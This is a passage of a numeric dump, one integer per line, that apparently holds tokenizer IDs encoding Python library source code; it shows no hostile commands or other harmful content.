3108,
1402,
13,
9651,
1962,
29918,
29881,
8768,
11759,
9302,
29889,
7411,
29953,
29946,
1402,
13,
9651,
270,
1278,
29918,
29887,
1137,
4661,
29918,
19290,
29922,
8977,
29898,
4905,
29918,
29879,
7093,
3790,
29908,
12150,
488,
1115,
7431,
29898,
29939,
2915,
511,
13,
9651,
270,
1278,
543,
23482,
1891,
613,
13,
9651,
9049,
5085,
3790,
29908,
29939,
1115,
3855,
29892,
376,
8990,
1115,
9685,
29892,
376,
1639,
3733,
362,
1115,
29694,
1118,
13,
4706,
1723,
13,
13,
4706,
396,
363,
1250,
1328,
24521,
13,
4706,
1121,
353,
1121,
29889,
3286,
4220,
703,
12150,
488,
613,
29757,
13,
4706,
565,
17336,
29901,
13,
9651,
1121,
353,
1121,
29889,
29879,
802,
29872,
911,
703,
12150,
488,
1159,
13,
4706,
565,
3013,
29918,
5552,
29879,
29901,
13,
9651,
1121,
29889,
5552,
29879,
353,
1583,
3032,
5552,
29879,
13,
4706,
736,
1121,
13,
13,
1678,
822,
7115,
29898,
1311,
29892,
3964,
29892,
282,
312,
29922,
8824,
1125,
13,
4706,
9995,
29934,
1331,
278,
848,
29889,
13,
13,
4706,
11243,
284,
1819,
526,
9859,
263,
7115,
393,
338,
278,
6588,
310,
278,
27871,
393,
13,
4706,
723,
505,
1063,
6467,
9859,
304,
599,
310,
278,
1819,
2629,
393,
13,
4706,
731,
29889,
29871,
390,
1331,
3380,
472,
29871,
29896,
29892,
451,
29871,
29900,
29889,
960,
421,
29886,
312,
1673,
2912,
267,
19649,
27871,
29889,
13,
13,
4706,
18780,
29879,
297,
278,
1881,
1409,
526,
4133,
408,
18780,
29879,
29889,
13,
13,
4706,
450,
421,
29890,
1501,
29880,
1600,
384,
29952,
3489,
338,
3734,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3964,
584,
851,
13,
9651,
4792,
2673,
975,
607,
304,
10272,
7115,
29889,
13,
4706,
282,
312,
584,
6120,
29892,
13136,
13,
9651,
960,
5852,
29892,
10272,
19649,
27871,
29892,
6467,
10272,
6043,
27871,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
26642,
584,
28736,
13,
13,
4706,
2823,
3115,
13,
4706,
448,
26589,
13,
4706,
13373,
24541,
29889,
10003,
29892,
3630,
2588,
29889,
10003,
13,
4706,
9995,
13,
4706,
1053,
18046,
29880,
1600,
384,
408,
289,
29876,
13,
13,
4706,
848,
353,
1583,
29889,
1272,
13,
13,
4706,
565,
338,
29918,
700,
384,
29918,
29881,
1278,
29918,
2378,
29898,
1272,
1125,
13,
9651,
12020,
20948,
29898,
13,
18884,
376,
10003,
947,
451,
664,
363,
7049,
6087,
408,
270,
1278,
376,
13,
18884,
376,
2378,
29879,
29889,
16012,
278,
848,
3025,
869,
26017,
580,
470,
869,
1359,
580,
376,
13,
18884,
376,
29886,
13479,
304,
5432,
445,
1158,
1213,
13,
9651,
1723,
13,
4706,
25342,
451,
338,
8758,
29898,
1272,
29892,
7442,
29889,
299,
2378,
1125,
13,
9651,
12020,
20948,
29898,
13,
18884,
376,
10003,
338,
451,
8762,
363,
6571,
3618,
1213,
29889,
4830,
29898,
1853,
29898,
1272,
876,
13,
9651,
1723,
13,
13,
4706,
9685,
353,
1583,
29889,
657,
29918,
8990,
29918,
1949,
29898,
6229,
29897,
13,
4706,
3653,
353,
289,
29876,
29889,
13707,
10003,
1272,
565,
1583,
29889,
29881,
1853,
29889,
14380,
1275,
376,
29888,
29908,
1683,
289,
29876,
29889,
10003,
1272,
13,
4706,
26642,
353,
3653,
29898,
1272,
29892,
9685,
29922,
8990,
29897,
13,
4706,
565,
282,
312,
29901,
13,
9651,
2302,
353,
7442,
29889,
2083,
29898,
30022,
9302,
29889,
275,
13707,
29898,
1272,
511,
9685,
29922,
8990,
29892,
3013,
6229,
29879,
29922,
5574,
29897,
13,
9651,
26642,
847,
29922,
2302,
13,
4706,
736,
28736,
29898,
1311,
29889,
6229,
29879,
29892,
26642,
29897,
13,
13,
1678,
822,
27777,
29918,
7165,
29898,
13,
4706,
1583,
29892,
3964,
29892,
3474,
29892,
3474,
29918,
6229,
29892,
4818,
29922,
8824,
29892,
5445,
29918,
1767,
29922,
29881,
8768,
29889,
3521,
13,
268,
1125,
13,
4706,
9995,
13,
4706,
8561,
263,
27777,
29918,
7165,
3412,
3964,
322,
788,
263,
716,
29918,
6229,
304,
278,
1833,
2058,
29889,
13,
13,
4706,
12662,
2699,
13,
4706,
448,
1378,
29899,
13,
4706,
3964,
584,
851,
13,
9651,
4792,
2673,
975,
607,
304,
10272,
27777,
29918,
7165,
29889,
13,
9651,
1152,
29871,
299,
29899,
22155,
29892,
881,
367,
1051,
310,
13391,
29889,
13,
4706,
3474,
584,
938,
13,
9651,
18379,
2159,
310,
278,
27777,
13,
9651,
1152,
29871,
299,
29899,
22155,
29892,
881,
367,
1051,
310,
11920,
29889,
13,
4706,
3474,
29918,
6229,
584,
851,
13,
9651,
1570,
1024,
310,
278,
3474,
9927,
29889,
13,
9651,
1152,
29871,
299,
29899,
22155,
29892,
881,
367,
1051,
310,
11920,
29889,
13,
4706,
4818,
584,
6120,
29892,
2322,
29901,
7700,
13,
9651,
960,
5852,
29892,
17132,
5445,
29918,
1767,
363,
1716,
10614,
29889,
13466,
29892,
17132,
297,
278,
2343,
13,
9651,
310,
278,
9685,
29889,
13,
4706,
5445,
29918,
1767,
13,
9651,
995,
304,
367,
10423,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
28736,
393,
338,
263,
1776,
310,
278,
2441,
1409,
411,
263,
2715,
9927,
310,
13,
4706,
2159,
281,
29889,
13,
4706,
450,
736,
3964,
29901,
1583,
29889,
6229,
29879,
718,
313,
7165,
29918,
6229,
29892,
1723,
13,
4706,
450,
736,
8267,
29901,
1583,
29889,
12181,
718,
313,
7165,
29892,
1723,
13,
13,
4706,
1222,
9422,
13,
4706,
448,
26589,
13,
4706,
8653,
325,
353,
28736,
29898,
703,
29874,
613,
376,
29890,
4968,
7442,
29889,
279,
927,
29898,
29947,
467,
690,
14443,
3552,
29906,
29892,
29871,
29946,
4961,
13,
4706,
8653,
325,
29889,
22155,
29918,
7165,
703,
29890,
613,
29871,
29941,
29892,
376,
7165,
29918,
6229,
1159,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29874,
29901,
29871,
29906,
29892,
289,
29901,
29871,
29946,
29892,
3474,
29918,
6229,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
8999,
13707,
29892,
23432,
29892,
259,
29900,
29889,
1402,
13,
18884,
518,
13707,
29892,
259,
29900,
1696,
259,
29896,
29889,
1402,
13,
18884,
518,
29871,
29900,
1696,
259,
29896,
1696,
259,
29906,
29889,
1402,
13,
18884,
518,
29871,
29896,
1696,
259,
29906,
1696,
259,
29941,
5586,
1402,
13,
4706,
529,
13367,
2190,
29968,
18521,
29958,
13,
1669,
5519,
13707,
29892,
23432,
29892,
259,
29946,
29889,
1402,
13,
18884,
518,
13707,
29892,
259,
29946,
1696,
259,
29945,
29889,
1402,
13,
18884,
518,
29871,
29946,
1696,
259,
29945,
1696,
259,
29953,
29889,
1402,
13,
18884,
518,
29871,
29945,
1696,
259,
29953,
1696,
259,
29955,
29889,
5262,
2314,
13,
13,
4706,
8653,
325,
29889,
22155,
29918,
7165,
703,
29890,
613,
29871,
29941,
29892,
376,
7165,
29918,
6229,
613,
4818,
29922,
5574,
29897,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29874,
29901,
29871,
29906,
29892,
289,
29901,
29871,
29946,
29892,
3474,
29918,
6229,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
8999,
13707,
29892,
259,
29900,
1696,
259,
29896,
29889,
1402,
13,
18884,
518,
29871,
29900,
1696,
259,
29896,
1696,
259,
29906,
29889,
1402,
13,
18884,
518,
29871,
29896,
1696,
259,
29906,
1696,
259,
29941,
29889,
1402,
13,
18884,
518,
29871,
29906,
1696,
259,
29941,
1696,
23432,
20526,
13,
4706,
529,
13367,
2190,
29968,
18521,
29958,
13,
1669,
5519,
13707,
29892,
259,
29946,
1696,
259,
29945,
29889,
1402,
13,
18884,
518,
29871,
29946,
1696,
259,
29945,
1696,
259,
29953,
29889,
1402,
13,
18884,
518,
29871,
29945,
1696,
259,
29953,
1696,
259,
29955,
29889,
1402,
13,
18884,
518,
29871,
29953,
1696,
259,
29955,
1696,
23432,
5262,
2314,
13,
4706,
9995,
13,
4706,
565,
5445,
29918,
1767,
338,
270,
8768,
29889,
3521,
29901,
29871,
396,
7442,
29889,
13707,
338,
4502,
13,
9651,
26688,
29892,
5445,
29918,
1767,
353,
270,
8768,
29889,
26026,
29918,
14032,
866,
29898,
1311,
29889,
29881,
1853,
29897,
13,
9651,
1409,
353,
1583,
29889,
579,
668,
29898,
29881,
1853,
29892,
3509,
29922,
8824,
467,
1272,
13,
4706,
1683,
29901,
13,
9651,
26688,
353,
1583,
29889,
29881,
1853,
13,
9651,
1409,
353,
1583,
29889,
1272,
13,
13,
4706,
565,
338,
8758,
29898,
6229,
29892,
1051,
1125,
13,
9651,
4974,
7431,
29898,
6229,
29897,
1275,
7431,
29898,
7165,
29897,
13,
9651,
4974,
7431,
29898,
6229,
29897,
1275,
7431,
29898,
7165,
29918,
6229,
29897,
13,
9651,
4974,
7431,
29898,
6229,
29897,
1275,
7431,
29898,
5064,
29897,
13,
4706,
1683,
29901,
13,
9651,
3964,
353,
518,
6229,
29962,
13,
9651,
3474,
353,
518,
7165,
29962,
13,
9651,
3474,
29918,
6229,
353,
518,
7165,
29918,
6229,
29962,
13,
9651,
4818,
353,
518,
5064,
29962,
13,
4706,
9685,
353,
518,
1311,
29889,
657,
29918,
8990,
29918,
1949,
29898,
29881,
29897,
363,
270,
297,
3964,
29962,
13,
4706,
716,
29918,
6229,
29879,
353,
1583,
29889,
6229,
29879,
718,
18761,
29898,
7165,
29918,
6229,
29897,
13,
4706,
736,
28736,
29898,
13,
9651,
716,
29918,
6229,
29879,
29892,
13,
9651,
868,
384,
29918,
2378,
29918,
3554,
29889,
22155,
29918,
7165,
29898,
13,
18884,
1409,
29892,
9685,
29922,
8990,
29892,
3474,
29922,
7165,
29892,
4818,
29922,
5064,
29892,
5445,
29918,
1767,
29922,
5589,
29918,
1767,
13,
9651,
10353,
13,
4706,
1723,
13,
13,
1678,
822,
1302,
1503,
264,
29898,
13,
4706,
1583,
29892,
5417,
29892,
3653,
29892,
10452,
543,
735,
627,
613,
2625,
543,
1563,
613,
3013,
29918,
5552,
29879,
29922,
8516,
29892,
3579,
19290,
13,
268,
1125,
13,
4706,
9995,
13,
4706,
2401,
368,
20376,
740,
29889,
13,
4706,
9995,
13,
4706,
5417,
353,
426,
29895,
29901,
325,
363,
413,
29892,
325,
297,
5417,
29889,
7076,
580,
565,
413,
297,
1583,
29889,
6229,
29879,
29913,
13,
4706,
565,
451,
5417,
29901,
13,
9651,
736,
1583,
29889,
8552,
580,
13,
13,
4706,
565,
3013,
29918,
5552,
29879,
338,
6213,
29901,
13,
9651,
3013,
29918,
5552,
29879,
353,
903,
657,
29918,
17462,
29918,
5552,
29879,
29898,
4381,
29922,
8824,
29897,
13,
13,
4706,
565,
3013,
29918,
5552,
29879,
29901,
13,
9651,
903,
5552,
29879,
353,
1583,
29889,
5552,
29879,
13,
4706,
1683,
29901,
13,
9651,
903,
5552,
29879,
353,
6213,
13,
13,
4706,
620,
29882,
10501,
29892,
27815,
353,
1583,
3032,
1111,
1503,
264,
29918,
690,
14443,
29898,
10499,
29892,
10452,
29892,
2625,
29897,
13,
4706,
565,
338,
8758,
29898,
9891,
29892,
851,
1125,
13,
9651,
1024,
353,
3653,
13,
9651,
3653,
353,
679,
5552,
29898,
700,
384,
29918,
2378,
29918,
3554,
29892,
1024,
29892,
6213,
29897,
13,
9651,
565,
3653,
338,
6213,
29901,
13,
18884,
12020,
4408,
2392,
29898,
29888,
29908,
29912,
978,
29913,
338,
451,
263,
2854,
1158,
23157,
13,
13,
4706,
736,
1583,
3032,
6506,
29898,
1272,
29922,
9891,
29898,
3781,
10501,
29892,
9685,
29922,
1165,
267,
29892,
3579,
19290,
511,
12421,
29879,
29922,
29918,
5552,
29879,
29897,
13,
13,
1678,
822,
903,
1111,
1503,
264,
29918,
690,
14443,
29898,
1311,
29892,
5417,
29892,
10452,
29892,
2625,
1125,
13,
4706,
9995,
13,
4706,
1281,
4984,
263,
620,
29882,
10501,
29899,
2378,
363,
1302,
1503,
264,
13,
4706,
9995,
13,
4706,
565,
451,
3667,
29879,
29889,
275,
29918,
8977,
29918,
4561,
29898,
9917,
653,
1125,
13,
9651,
10452,
353,
426,
29881,
29901,
10452,
363,
270,
297,
5417,
29889,
8149,
28296,
13,
13,
4706,
565,
451,
3667,
29879,
29889,
275,
29918,
8977,
29918,
4561,
29898,
2975,
1125,
13,
9651,
2625,
353,
426,
29881,
29901,
2625,
363,
270,
297,
5417,
29889,
8149,
28296,
13,
13,
4706,
396,
3349,
443,
12817,
13391,
13,
4706,
10452,
353,
426,
29895,
29901,
325,
363,
413,
29892,
325,
297,
10452,
29889,
7076,
580,
565,
413,
297,
5417,
29913,
13,
4706,
2625,
353,
426,
29895,
29901,
325,
363,
413,
29892,
325,
297,
2625,
29889,
7076,
580,
565,
413,
297,
5417,
29913,
13,
13,
4706,
363,
270,
29892,
3474,
297,
5417,
29889,
7076,
7295,
13,
9651,
565,
3474,
5277,
29871,
29900,
29901,
13,
18884,
12020,
7865,
2392,
29898,
29888,
29908,
7165,
1818,
367,
1405,
29871,
29900,
29889,
11221,
426,
7165,
27195,
13,
13,
4706,
2286,
353,
1583,
13,
4706,
363,
270,
29892,
3474,
297,
5417,
29889,
7076,
7295,
13,
9651,
396,
17151,
470,
17132,
278,
1203,
13,
9651,
2159,
353,
2286,
29889,
12181,
29961,
1311,
3032,
657,
29918,
8990,
29918,
1949,
29898,
29881,
4638,
13,
9651,
302,
353,
938,
29898,
2311,
847,
3474,
29897,
13,
9651,
565,
10452,
29961,
29881,
29962,
1275,
376,
735,
627,
1115,
13,
18884,
565,
302,
334,
3474,
2804,
2159,
29901,
13,
462,
1678,
12020,
7865,
2392,
29898,
13,
462,
4706,
376,
23323,
451,
1302,
1503,
264,
263,
9927,
310,
2159,
6571,
411,
376,
13,
462,
4706,
376,
7165,
6571,
1642,
4830,
29898,
2311,
29892,
3474,
29897,
13,
462,
1678,
1723,
13,
9651,
25342,
10452,
29961,
29881,
29962,
1275,
376,
15450,
1115,
13,
18884,
565,
2625,
29961,
29881,
29962,
1275,
376,
1563,
1115,
13,
462,
1678,
2286,
353,
2286,
29889,
275,
295,
3319,
29881,
29901,
22780,
29898,
29900,
29892,
3474,
334,
302,
26972,
13,
18884,
1683,
29901,
13,
462,
1678,
19163,
353,
2159,
448,
3474,
334,
302,
13,
462,
1678,
2286,
353,
2286,
29889,
275,
295,
3319,
29881,
29901,
22780,
29898,
735,
985,
29892,
6213,
26972,
13,
9651,
25342,
10452,
29961,
29881,
29962,
1275,
376,
8305,
1115,
29871,
396,
17132,
13,
18884,
17132,
353,
3474,
334,
302,
448,
2159,
13,
18884,
565,
17132,
529,
29871,
29900,
29901,
13,
462,
1678,
17132,
4619,
3474,
13,
18884,
565,
2625,
29961,
29881,
29962,
1275,
376,
1563,
1115,
13,
462,
1678,
17132,
29918,
2103,
353,
426,
29881,
29901,
313,
29900,
29892,
17132,
2915,
13,
18884,
1683,
29901,
13,
462,
1678,
17132,
29918,
2103,
353,
426,
29881,
29901,
313,
8305,
29892,
29871,
29900,
2915,
13,
18884,
2286,
353,
2286,
29889,
8305,
29898,
8305,
29918,
2103,
29892,
4464,
543,
23362,
1159,
13,
9651,
1683,
29901,
13,
18884,
12020,
20948,
29898,
13,
462,
1678,
376,
8875,
338,
8340,
363,
10452,
29889,
15758,
2984,
338,
525,
735,
627,
742,
376,
13,
462,
1678,
13577,
15450,
29915,
322,
525,
8305,
29915,
1642,
4830,
29898,
9917,
653,
29961,
29881,
2314,
13,
18884,
1723,
13,
13,
4706,
8267,
353,
5159,
13,
4706,
27815,
353,
5159,
13,
4706,
9685,
29918,
2798,
353,
29871,
29900,
13,
4706,
363,
474,
29892,
270,
297,
26985,
29898,
11918,
29889,
6229,
29879,
1125,
13,
9651,
565,
270,
297,
5417,
29901,
13,
18884,
2159,
353,
2286,
29889,
12181,
29961,
29875,
29962,
13,
18884,
8267,
29889,
4397,
29898,
524,
29898,
2311,
847,
5417,
29961,
29881,
12622,
13,
18884,
8267,
29889,
4397,
29898,
10499,
29961,
29881,
2314,
13,
18884,
9685,
29918,
2798,
4619,
29871,
29896,
13,
18884,
27815,
29889,
4397,
29898,
29875,
718,
9685,
29918,
2798,
29897,
13,
9651,
1683,
29901,
13,
18884,
8267,
29889,
4397,
29898,
11918,
29889,
12181,
29961,
29875,
2314,
13,
13,
4706,
736,
2286,
29889,
1272,
29889,
690,
14443,
29898,
12181,
511,
18761,
29898,
1165,
267,
29897,
13,
13,
1678,
822,
3508,
913,
29898,
1311,
29892,
3013,
29918,
5552,
29879,
29901,
6120,
353,
6213,
1125,
13,
4706,
9995,
3057,
1269,
995,
297,
278,
1409,
363,
3692,
372,
338,
263,
4567,
995,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
3508,
913,
584,
28736,
13,
9651,
19491,
1134,
322,
8267,
408,
1203,
29892,
541,
278,
26688,
310,
278,
848,
338,
6120,
29889,
13,
13,
4706,
2823,
3115,
13,
4706,
448,
26589,
13,
4706,
11701,
29889,
275,
4304,
13,
13,
4706,
1222,
9422,
13,
4706,
448,
26589,
13,
4706,
8653,
722,
353,
921,
29878,
29889,
16174,
703,
29916,
613,
518,
29896,
29892,
7442,
29889,
13707,
29892,
29871,
29941,
2314,
13,
4706,
8653,
722,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29916,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
29871,
29896,
1696,
23432,
29892,
259,
29941,
29889,
2314,
13,
4706,
8653,
722,
29889,
275,
4304,
580,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29916,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
8824,
29892,
29871,
5852,
29892,
7700,
2314,
13,
4706,
9995,
13,
4706,
515,
869,
12097,
362,
1053,
3394,
29918,
1137,
4661,
13,
13,
4706,
565,
3013,
29918,
5552,
29879,
338,
6213,
29901,
13,
9651,
3013,
29918,
5552,
29879,
353,
903,
657,
29918,
17462,
29918,
5552,
29879,
29898,
4381,
29922,
8824,
29897,
13,
13,
4706,
736,
3394,
29918,
1137,
4661,
29898,
13,
9651,
868,
384,
29918,
2378,
29918,
3554,
29889,
275,
4304,
29892,
13,
9651,
1583,
29892,
13,
9651,
270,
1278,
543,
24622,
613,
13,
9651,
3013,
29918,
5552,
29879,
29922,
17462,
29918,
5552,
29879,
29892,
13,
4706,
1723,
13,
13,
1678,
822,
451,
4304,
29898,
1311,
29892,
3013,
29918,
5552,
29879,
29901,
6120,
353,
6213,
1125,
13,
4706,
9995,
3057,
1269,
995,
297,
278,
1409,
363,
3692,
372,
338,
451,
263,
4567,
995,
29889,
13,
13,
4706,
16969,
13,
4706,
448,
22158,
13,
4706,
451,
4304,
584,
28736,
13,
9651,
19491,
1134,
322,
8267,
408,
1203,
29892,
541,
278,
26688,
310,
278,
848,
338,
6120,
29889,
13,
13,
4706,
2823,
3115,
13,
4706,
448,
26589,
13,
4706,
11701,
29889,
1333,
4304,
13,
13,
4706,
1222,
9422,
13,
4706,
448,
26589,
13,
4706,
8653,
722,
353,
921,
29878,
29889,
16174,
703,
29916,
613,
518,
29896,
29892,
7442,
29889,
13707,
29892,
29871,
29941,
2314,
13,
4706,
8653,
722,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29916,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
29871,
29896,
1696,
23432,
29892,
259,
29941,
29889,
2314,
13,
4706,
8653,
722,
29889,
1333,
4304,
580,
13,
4706,
529,
29916,
2378,
29889,
16174,
313,
29916,
29901,
29871,
29941,
15410,
13,
4706,
1409,
4197,
5852,
29892,
7700,
29892,
29871,
5852,
2314,
13,
4706,
9995,
13,
4706,
515,
869,
12097,
362,
1053,
3394,
29918,
1137,
4661,
13,
13,
4706,
565,
3013,
29918,
5552,
29879,
338,
6213,
29901,
13,
9651,
3013,
29918,
5552,
29879,
353,
903,
657,
29918,
17462,
29918,
5552,
29879,
29898,
4381,
29922,
8824,
29897,
13,
13,
4706,
736,
3394,
29918,
1137,
4661,
29898,
13,
9651,
868,
384,
29918,
2378,
29918,
3554,
29889,
1333,
4304,
29892,
13,
9651,
1583,
29892,
13,
9651,
270,
1278,
543,
24622,
613,
13,
9651,
3013,
29918,
5552,
29879,
29922,
17462,
29918,
5552,
29879,
29892,
13,
4706,
1723,
13,
13,
1678,
732,
6799,
13,
1678,
822,
1855,
29898,
1311,
1125,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
29889,
6229,
29879,
29892,
1583,
29889,
1272,
29889,
6370,
29892,
1583,
3032,
5552,
29879,
29897,
13,
13,
1678,
732,
6799,
13,
1678,
822,
6382,
29898,
1311,
1125,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
29889,
6229,
29879,
29892,
1583,
29889,
1272,
29889,
326,
351,
29892,
1583,
3032,
5552,
29879,
29897,
13,
13,
1678,
822,
4770,
2378,
29918,
6312,
12035,
1311,
29892,
5446,
29892,
3030,
29922,
8516,
1125,
13,
4706,
736,
28736,
29898,
1311,
29889,
6229,
29879,
29892,
5446,
29897,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
903,
348,
653,
29918,
459,
29898,
29888,
1125,
13,
4706,
732,
7692,
312,
8789,
29889,
29893,
336,
567,
29898,
29888,
29897,
13,
4706,
822,
3653,
29898,
1311,
29892,
334,
5085,
29892,
3579,
19290,
1125,
13,
9651,
3013,
29918,
5552,
29879,
353,
9049,
5085,
29889,
7323,
703,
17462,
29918,
5552,
29879,
613,
6213,
29897,
13,
9651,
565,
3013,
29918,
5552,
29879,
338,
6213,
29901,
13,
18884,
3013,
29918,
5552,
29879,
353,
903,
657,
29918,
17462,
29918,
5552,
29879,
29898,
4381,
29922,
5574,
29897,
13,
9651,
411,
7442,
29889,
3127,
3859,
29898,
497,
543,
17281,
29908,
1125,
13,
18884,
1121,
353,
1583,
17255,
2378,
29918,
6312,
12035,
29888,
29898,
1311,
29889,
1272,
29892,
334,
5085,
29892,
3579,
19290,
876,
13,
18884,
565,
3013,
29918,
5552,
29879,
29901,
13,
462,
1678,
1121,
29889,
5552,
29879,
353,
1583,
29889,
5552,
29879,
13,
18884,
736,
1121,
13,
13,
4706,
736,
3653,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
903,
19541,
29918,
459,
29898,
29888,
29892,
2143,
2506,
573,
29922,
8824,
29892,
3579,
647,
4395,
29918,
19290,
1125,
13,
4706,
732,
7692,
312,
8789,
29889,
29893,
336,
567,
29898,
29888,
29897,
13,
4706,
822,
3653,
29898,
1311,
29892,
916,
1125,
13,
9651,
565,
338,
8758,
29898,
1228,
29892,
313,
29916,
29878,
29889,
1469,
2588,
29892,
921,
29878,
29889,
16390,
24541,
22164,
13,
18884,
736,
2216,
1888,
2037,
287,
13,
9651,
1583,
29918,
1272,
29892,
916,
29918,
1272,
29892,
3964,
29879,
353,
903,
6729,
328,
4384,
29918,
12667,
29918,
1272,
29898,
1311,
29892,
916,
29897,
13,
9651,
3013,
29918,
5552,
29879,
353,
903,
657,
29918,
17462,
29918,
5552,
29879,
29898,
4381,
29922,
8824,
29897,
13,
9651,
12421,
29879,
353,
1583,
3032,
5552,
29879,
565,
3013,
29918,
5552,
29879,
1683,
6213,
13,
9651,
411,
7442,
29889,
3127,
3859,
29898,
497,
543,
17281,
29908,
1125,
13,
18884,
716,
29918,
1272,
353,
313,
13,
462,
1678,
285,
29898,
1311,
29918,
1272,
29892,
916,
29918,
1272,
29897,
13,
462,
1678,
565,
451,
2143,
2506,
573,
13,
462,
1678,
1683,
285,
29898,
1228,
29918,
1272,
29892,
1583,
29918,
1272,
29897,
13,
18884,
1723,
13,
9651,
1121,
353,
28736,
29898,
6229,
29879,
29892,
716,
29918,
1272,
29892,
12421,
29879,
29922,
5552,
29879,
29897,
13,
9651,
736,
1121,
13,
13,
4706,
736,
3653,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
903,
262,
6689,
29918,
19541,
29918,
459,
29898,
29888,
1125,
13,
4706,
732,
7692,
312,
8789,
29889,
29893,
336,
567,
29898,
29888,
29897,
13,
4706,
822,
3653,
29898,
1311,
29892,
916,
1125,
13,
9651,
565,
338,
8758,
29898,
1228,
29892,
921,
29878,
29889,
16390,
24541,
1125,
13,
18884,
12020,
20948,
703,
29883,
6735,
788,
263,
13373,
24541,
304,
263,
28736,
297,
29899,
6689,
1159,
13,
9651,
1583,
29918,
1272,
29892,
916,
29918,
1272,
29892,
3964,
29879,
353,
903,
6729,
328,
4384,
29918,
12667,
29918,
1272,
29898,
1311,
29892,
916,
29897,
13,
9651,
565,
3964,
29879,
2804,
1583,
29889,
6229,
29879,
29901,
13,
18884,
12020,
7865,
2392,
703,
6229,
5580,
2609,
1735,
363,
297,
29899,
6689,
6931,
1159,
13,
9651,
411,
7442,
29889,
3127,
3859,
29898,
497,
543,
17281,
29908,
1125,
13,
18884,
1583,
29889,
5975,
353,
285,
29898,
1311,
29918,
1272,
29892,
916,
29918,
1272,
29897,
13,
9651,
736,
1583,
13,
13,
4706,
736,
3653,
13,
13,
1678,
822,
903,
517,
29918,
21574,
29898,
1311,
29892,
9210,
29922,
8516,
29892,
12865,
29918,
5441,
29922,
8516,
29892,
26688,
29922,
7411,
1125,
13,
4706,
9995,
29909,
313,
9053,
29897,
1158,
304,
3588,
12865,
1409,
304,
16985,
26688,
13,
4706,
2823,
868,
384,
29918,
2378,
29918,
3554,
29889,
12673,
29918,
517,
29918,
21574,
13,
4706,
9995,
13,
4706,
16985,
29918,
2378,
353,
868,
384,
29918,
2378,
29918,
3554,
29889,
12673,
29918,
517,
29918,
21574,
29898,
13,
9651,
1583,
29889,
1272,
29892,
9210,
29892,
12865,
29918,
5441,
29892,
26688,
13,
4706,
1723,
13,
4706,
736,
1134,
29898,
1311,
5033,
1311,
29889,
6229,
29879,
29892,
16985,
29918,
2378,
29892,
1583,
3032,
5552,
29879,
29897,
13,
13,
1678,
822,
903,
348,
336,
955,
29918,
1191,
1195,
3317,
29898,
13,
4706,
1583,
29892,
13,
4706,
1852,
1195,
3317,
29901,
851,
29892,
13,
4706,
3964,
29901,
7761,
29961,
10438,
519,
29892,
922,
3910,
29961,
10438,
519,
1402,
6213,
1402,
13,
4706,
9685,
29901,
7761,
29961,
524,
29892,
6213,
1402,
13,
4706,
3013,
29918,
5552,
29879,
29901,
28379,
29961,
11227,
1402,
13,
4706,
14383,
1056,
29901,
28379,
29961,
11227,
1402,
13,
1678,
1723,
1599,
7761,
3366,
16174,
613,
360,
919,
29961,
10438,
519,
29892,
376,
16174,
3108,
5387,
13,
4706,
9995,
2052,
368,
1852,
1195,
470,
1852,
3317,
975,
697,
470,
901,
13391,
29892,
7863,
278,
1121,
408,
263,
13,
4706,
9657,
310,
3630,
2588,
393,
508,
367,
4502,
4153,
304,
338,
295,
29889,
13,
4706,
9995,
13,
4706,
565,
3964,
338,
6213,
322,
9685,
338,
6213,
29901,
13,
9651,
18116,
29889,
25442,
29898,
13,
18884,
376,
3629,
8708,
8975,
310,
1852,
1195,
29914,
1191,
3317,
411,
9561,
3964,
3643,
9685,
2980,
674,
376,
13,
18884,
376,
3167,
304,
736,
263,
9657,
310,
16285,
310,
1269,
9927,
29889,
1763,
679,
263,
376,
13,
18884,
376,
14369,
29892,
12151,
2380,
29892,
3113,
671,
7442,
29889,
1191,
1195,
29898,
1388,
29889,
1272,
29897,
470,
376,
13,
18884,
376,
9302,
29889,
1191,
3317,
29898,
1388,
29889,
1272,
29897,
2012,
310,
1146,
29889,
1191,
1195,
580,
470,
1146,
29889,
1191,
3317,
2141,
613,
13,
18884,
897,
1457,
9252,
22709,
29892,
13,
18884,
5096,
5563,
29922,
29941,
29892,
13,
9651,
1723,
13,
13,
4706,
1852,
1195,
3317,
29918,
9891,
353,
679,
5552,
29898,
700,
384,
29918,
2378,
29918,
3554,
29892,
1852,
1195,
3317,
29897,
13,
13,
4706,
565,
3964,
338,
2023,
29901,
13,
9651,
396,
512,
5434,
29892,
881,
437,
445,
884,
746,
313,
6229,
338,
6213,
322,
9685,
338,
6213,
29897,
13,
9651,
3964,
353,
1583,
29889,
6229,
29879,
13,
4706,
565,
313,
13,
9651,
3964,
338,
6213,
13,
9651,
470,
9685,
338,
451,
6213,
13,
9651,
470,
451,
338,
8758,
29898,
6229,
29892,
922,
3910,
29897,
13,
9651,
470,
338,
8758,
29898,
6229,
29892,
851,
29897,
13,
308,
1125,
13,
9651,
396,
7106,
938,
2380,
565,
2323,
9927,
338,
4502,
29892,
322,
338,
451,
760,
310,
263,
13,
9651,
396,
5665,
13,
9651,
736,
1583,
29889,
17469,
29898,
13,
18884,
1852,
1195,
3317,
29918,
9891,
29892,
3964,
29922,
6229,
29892,
9685,
29922,
8990,
29892,
3013,
29918,
5552,
29879,
29922,
17462,
29918,
5552,
29879,
29892,
14383,
1056,
29922,
11014,
1056,
13,
9651,
1723,
13,
13,
4706,
396,
3617,
263,
1024,
363,
278,
716,
9927,
393,
947,
451,
14529,
411,
738,
5923,
13,
4706,
396,
9927,
13,
4706,
716,
6229,
978,
353,
11119,
348,
